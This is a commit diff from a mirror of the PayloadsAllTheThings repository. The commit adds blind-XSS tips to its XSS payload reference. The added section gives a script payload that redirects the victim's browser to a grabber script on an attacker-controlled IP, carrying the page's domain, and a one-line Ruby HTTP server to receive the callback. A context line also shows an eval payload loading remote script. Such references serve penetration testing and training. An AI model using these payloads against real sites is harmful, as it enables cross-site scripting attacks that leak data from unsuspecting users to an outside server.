mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-12 14:22:47 +00:00
XSS: add quick tips for bXSS
This commit is contained in:
parent
b006551bfe
commit
c469236204
1 changed files with 16 additions and 0 deletions
|
@ -453,6 +453,22 @@ javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursu
|
|||
- Comment Box
|
||||
- Administrative Panel
|
||||
|
||||
### Tips
|
||||
|
||||
You can use [Data grabber for XSS](#data-grabber-for-xss) and a one-line HTTP server to confirm the existence of a blind XSS before deploying an heavy blind XSS platform.
|
||||
|
||||
Eg. payload
|
||||
|
||||
```html
|
||||
<script>document.location='http://10.10.14.30:8080/XSS/grabber.php?c='+document.domain</script>
|
||||
```
|
||||
|
||||
Eg. one-line HTTP server:
|
||||
|
||||
```
|
||||
$ ruby -run -ehttpd . -p8080
|
||||
```
|
||||
|
||||
## Mutated XSS
|
||||
|
||||
Use browsers quirks to recreate some HTML tags when it is inside an `element.innerHTML`.
|
||||
|
|
Loading…
Reference in a new issue